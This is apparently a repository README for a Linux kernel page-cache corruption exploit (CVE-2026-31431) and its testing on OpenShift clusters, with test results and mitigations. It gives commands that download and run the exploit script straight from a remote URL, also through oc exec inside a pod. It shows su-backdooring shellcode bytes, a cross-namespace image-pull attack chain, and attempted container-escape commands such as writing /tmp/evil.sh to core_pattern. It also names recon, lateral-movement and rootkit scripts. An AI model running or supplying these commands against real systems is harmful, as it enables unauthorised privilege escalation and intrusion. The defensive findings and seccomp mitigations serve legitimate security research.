
Exploit for Linux kernel CVE-2026-31431 causing page cache corruption via authencesn AEAD manipulation, targeting privilege escalation in containers and OpenShift environments.
Linux kernel page cache corruption via authencesn AEAD manipulation.
After extensive testing on multiple OpenShift 4.20.16 clusters with RHEL 9.6 kernels:
See Comprehensive Testing Results section for full details.
CVE-2026-31431 is a Linux kernel vulnerability in the authencesn AEAD cryptographic implementation that allows unprivileged processes to corrupt the page cache of readable files via AF_ALG sockets and splice() syscall manipulation.
Testing shows: Page cache corruption works reliably, but privilege escalation does NOT occur on RHEL 9.6 kernels in our test environments.
CVSS Score: 7.8 (High) Linux kernel versions with authencesn support (2017-2026) April 29, 2026
splice() syscall wrapper via ctypes/usr/bin/su)curl -s https://raw.githubusercontent.com/seanrickerd/cve-2026-31431/main/exploit.py | python3
su
python3 exploit.py
su
What WILL happen:
[*] CVE-2026-31431 'Copy Fail' Exploit
[*] Universal Linux kernel privilege escalation
[*] Target binary: /usr/bin/su
[*] Testing for vulnerability...
[+] System appears vulnerable!
[+] Opened /usr/bin/su (fd=3)
[+] File size: 56944 bytes
[+] File inode: 201328196
[+] Shellcode size: 160 bytes
[+] Patching file in page cache...
Written 160/160 bytes...
[+] Page cache patching complete! (160 bytes written)
Page Cache Verification (confirms corruption):
dd if=/usr/bin/su bs=1 skip=120 count=48 | hexdump -C
00000000 31 c0 31 ff b0 69 0f 05 48 8d 3d 0f 00 00 00 31 |1.1..i..H.=....1|
00000010 f6 6a 3b 58 99 0f 05 31 ff 6a 3c 58 0f 05 2f 62 |.j;X...1.j<X../b|
00000020 69 6e 2f 73 68 |in/sh|
# Shellcode IS present in page cache ✅
What WILL NOT happen (based on testing):
# Executing the backdoored su
su
# Password: [press Enter]
# Check UID
id -u
# Result: 1000810000 (UNCHANGED - still unprivileged user)
# NOT this (does NOT occur in testing):
# # whoami
# root ← This does NOT happen
Conclusion: Page cache corruption succeeds, but privilege escalation fails.
The Linux kernel's authencesn (Authenticated Encryption with Associated Data - Extended Sequence Number) implementation has a flaw in its in-place operation handling. When processing AEAD operations submitted over an AF_ALG socket, a page-cache page can end up in the kernel's writable destination scatterlist.
authencesn(hmac(sha256),cbc(aes))/usr/bin/su)The exploit uses a 160-byte shellcode that patches /usr/bin/su to:
Python 3.9 and earlier don't have os.splice() in the standard library. This exploit includes a ctypes-based implementation:
import ctypes
import ctypes.util
libc = ctypes.CDLL(ctypes.util.find_library('c'))
class off64_t(ctypes.c_int64):
pass
libc.splice.argtypes = [...]
libc.splice.restype = ctypes.c_ssize_t
def splice(src, dst, count, offset_src=None, offset_dst=None):
# Wrapper matching Python os.splice() API
...
This makes the exploit work on:
Node Configuration:
Test Results:
✅ Exploit executed successfully
✅ Page cache corrupted (160 bytes shellcode injected)
✅ Shellcode visible at binary entry point (offset 120)
✅ /bin/sh signature confirmed in hexdump
❌ Privilege escalation: FAILED (UID unchanged)
❌ Root access: NO
❌ Container escape: NO (Device 2097322, Inode 931145742 - container overlay only)
Cluster: https://api.vvb32-fzdtf-8yn.nnbd.p3.openshiftapps.com:443 Node Configuration:
Test Results:
✅ Page cache corruption: SUCCESS (consistent with Test 1)
✅ Shellcode injection: CONFIRMED (byte-for-byte identical)
✅ Device/Inode: 2097286 / 201328196 (container overlay - isolated)
❌ Privilege escalation: FAILED (consistent with Test 1)
❌ Code execution: NOT OBSERVED (consistent with Test 1)
❌ UID change: NO (1000810000 → 1000810000 unchanged)
Consistency: 100% reproducible results across independent clusters
Scenario A: With hostPath Volume (Container Escape Possible)
volumes:
- name: host-usr
hostPath:
path: /usr
Result: ✅ Container escape - modifies host page cache (Device 33, Inode 4288)
Scenario B: Restricted-v2 SCC (No hostPath)
# No hostPath volumes, restricted-v2 SCC
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
capabilities:
drop: [ALL]
Result: ❌ No container escape - only affects container overlay (separate inode)
Critical Finding: hostPath access (not capabilities) is the determining factor for container escape.
Possible Explanations (Requires Further Research):
Read vs Execute Code Paths
mmap(PROT_READ) operationsmmap(PROT_EXEC) may bypass corrupted cacheMemory Protections
Kernel Version Specific
| Test | OpenShift 4.20 #1 | OpenShift 4.20 #2 | Status |
|---|---|---|---|
| AF_ALG Socket Access | ✅ | ✅ | Works |
| Page Cache Corruption | ✅ | ✅ | Works |
| Shellcode Injection | ✅ | ✅ | Works |
| Shellcode Visible (READ) | ✅ | ✅ | Works |
| UID Change (Priv Esc) | ❌ | ❌ | Fails |
| Code Execution | ❌ | ❌ | Fails |
| Container Escape (restricted-v2) | ❌ | ❌ | Blocked |
Conclusion: Kernel vulnerability is real (page cache corruption proven), but practical exploitation is limited.
| System | Kernel | Page Cache Corruption | Privilege Escalation | Notes |
|---|---|---|---|---|
| RHEL CoreOS 9.6 | 5.14.0-570.96.1.el9_6 | ✅ YES | ❌ NO | OpenShift 4.20.16 workers |
| OpenShift 4.20 Containers | 5.14.0-570.96.1.el9_6 | ✅ YES | ❌ NO | restricted-v2 SCC |
Note: Testing limited to RHEL 9.6 kernels. Behavior on other distributions/versions not verified.
Successfully tested on OpenShift 4.20 cluster running RHEL CoreOS 9.4. This section documents namespace isolation bypass and container compromise.
⚠️ Important Correction: Initial testing incorrectly claimed host filesystem access via /proc/1/root. This was incorrect - /proc/1/root in an isolated container points to the container's own filesystem, not the OpenShift worker node host. See attacks/README.md for detailed analysis.
Restricted Pod → Namespace Breakout → Attack Pod → CVE-2026-31431 →
Root in Container → Network Reconnaissance → Lateral Movement Attempts
Vulnerability: OpenShift internal registry allows cross-namespace image pulls without proper RBAC enforcement.
Exploitation:
# Enumerate images in privileged namespaces
oc get imagestreams -n openshift
oc get imagestreams -n redhat-ods-applications
# Create pod with stolen tools
cat > attack-demo.yaml << EOF
apiVersion: v1
kind: Pod
metadata:
name: attack-demo
namespace: user-srickerd
spec:
containers:
- name: stolen-tools
image: image-registry.openshift-image-registry.svc:5000/openshift/cli:latest
command: ["sleep", "3600"]
EOF
oc apply -f attack-demo.yaml
Result:
openshift/cli image from openshift namespaceImpact: Allows tenant-to-tenant lateral movement and privileged tooling access.
Deployment:
# Execute exploit in attack pod
oc exec -n user-srickerd attack-demo -- bash -c "
curl -s https://raw.githubusercontent.com/seanrickerd/cve-2026-31431/main/exploit.py | python3 && su
"
Result:
[*] CVE-2026-31431 Copy Fail Exploit
[*] Target: /usr/bin/su
[+] Opened /usr/bin/su (fd=3)
[+] Shellcode size: 160 bytes
[+] Patching /usr/bin/su in page cache...
Written 160/160 bytes...
[+] Page cache patching complete!
[+] Executing modified su...
Capabilities After Exploit:
Reality Check - /proc/1/root is NOT the host:
# These point to the SAME filesystem (container's own root)
stat -c '%i' /tmp/test.txt
# 136358432
stat -c '%i' /proc/1/root/tmp/test.txt
# 136358432 ← IDENTICAL inode = same file
# Proof they're in same namespace
readlink /proc/self/ns/mnt
readlink /proc/1/ns/mnt
# Both return: mnt:[4026535423] ← SAME namespace
Container OS Details:
NAME="Red Hat Enterprise Linux"
VERSION="9.4 (Plow)"
Based on: openshift/cli container image
Running on: RHEL CoreOS 9.4 worker node (inaccessible)
Kernel: 5.14.0-570.96.1.el9_6.x86_64 (shared, not accessible)
Created Scripts in Container (available in attacks/ directory):
1. Container Reconnaissance (recon.sh - 1425 bytes)
2. Lateral Movement Script (lateral.sh - 1754 bytes)
3. Failed Host Exploitation Attempts
host-rootkit.py - Attempts to backdoor /proc/1/root/usr/bin/su
modprobe-escape.py - Attempts kernel module escape
trigger-rootkit.sh - Triggers backdoored su
See attacks/README.md for complete analysis of what worked vs what didn't.
Connectivity Test:
# Pod IP: 10.130.16.37
# Kubernetes API
curl -k https://kubernetes.default.svc:443/healthz
# Result: ok ✅
# External Internet
curl -s https://www.google.com
# Result: Connected ✅
# Internal Registry
curl -k https://image-registry.openshift-image-registry.svc:5000/
# Result: Accessible ✅
Lateral Movement Opportunities:
These techniques were attempted but blocked by OpenShift security controls:
1. nsenter (User namespace prevents)
nsenter --target 1 --mount --uts --ipc --net /bin/bash
# Error: reassociate to namespace 'ns/ipc' failed: Operation not permitted
2. chroot (Requires CAP_SYS_CHROOT)
chroot /proc/1/root /bin/bash
# Error: cannot change root directory: Operation not permitted
3. Kernel Module Loading (No capabilities + RHCOS hardening)
insmod, modprobe, kmod binaries on RHCOS/lib/modules is empty (container-optimized OS)CAP_SYS_MODULE not available/proc/sys/kernel/modprobe mounted read-only4. cgroup release_agent (Mounted read-only)
mount | grep cgroup
# cgroup2 on /sys/fs/cgroup type cgroup2 (ro,nosuid,nodev,noexec)
5. /proc/sys manipulation (Read-only filesystem)
echo "/tmp/evil.sh" > /proc/sys/kernel/core_pattern
# Error: Read-only file system
✅ Namespace Isolation Bypass
✅ Page Cache Corruption in Container
/usr/bin/su page cache via CVE-2026-31431✅ Network Access from Pod
❌ Privilege Escalation - FAILED
❌ Host Filesystem Access - FAILED
/proc/1/root points to container's root, NOT host/tmp, not host's /tmp❌ Full Host Escape - BLOCKED
Controls That Worked ✅
Controls That Partially Worked ⚠️
Controls That Failed ❌
Overall Assessment: While CVE-2026-31431 is a real kernel vulnerability, OpenShift's defense-in-depth approach (SCC + user namespaces + capability dropping + filesystem isolation) prevented meaningful exploitation. The exploit corrupts page cache but achieves NO privilege escalation or container escape from restricted-v2 pods.
1. Block AF_ALG Sockets
securityContext:
seccompProfile:
type: Localhost
localhostProfile: profiles/no-af-alg.json
2. Enforce Image Registry RBAC
# Require explicit permissions for cross-namespace image pulls
oc policy add-role-to-user system:image-puller <serviceaccount> \
--namespace=<source-namespace>
3. Enhanced Seccomp Profile Block dangerous syscalls:
socket(AF_ALG, ...) - Family 38splice() to trusted file descriptorsinit_module, finit_module if not already blocked4. Runtime Monitoring Alert on:
splice() syscall patternsFor full attack chain documentation including:
See:
# Blacklist the vulnerable module
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead
Block AF_ALG socket creation:
{
"defaultAction": "SCMP_ACT_ALLOW",
"syscalls": [{
"names": ["socket"],
"action": "SCMP_ACT_ERRNO",
"args": [{"index": 0, "value": 38, "op": "SCMP_CMP_EQ"}]
}]
}
Apply vendor patches:
apt update && apt upgrade linux-image-*A: NO - Based on extensive testing on RHEL 9.6 kernels (5.14.0-570.96.1), the exploit successfully corrupts kernel page cache but does NOT achieve privilege escalation. UID remains unchanged after executing the backdoored binary.
A: NO (with restricted-v2 SCC) - Page cache corruption is isolated to the container's overlay filesystem. Container escape requires access to shared host resources via hostPath or similar volumes. Restricted-v2 SCC effectively prevents escape by blocking host resource access.
A: The exploit code was written based on CVE disclosure and theoretical analysis. Our real-world testing on RHEL 9.6 kernels revealed:
This may be due to:
A: UNKNOWN - Testing was limited to:
Behavior on other distributions/kernel versions has NOT been verified. Original CVE research conditions may differ.
A: YES - Absolutely. Even though privilege escalation was not achieved:
Kernel patching is mandatory for security.
A: Our comprehensive testing on 2 independent OpenShift clusters proved:
✅ Confirmed:
❌ Did NOT Work:
🛡️ Defense in Depth Effective:
This repository documents a kernel vulnerability for:
Findings based on:
Do NOT use on systems without explicit authorization.
For authorized security testing and research only. Use at your own risk.
Repository Status: Updated with real-world testing results (May 1, 2026)
Testing: Completed on 2 independent OpenShift clusters
Key Finding: Page cache corruption confirmed, privilege escalation NOT achieved
Recommendation: Patch kernel despite limited practical exploitation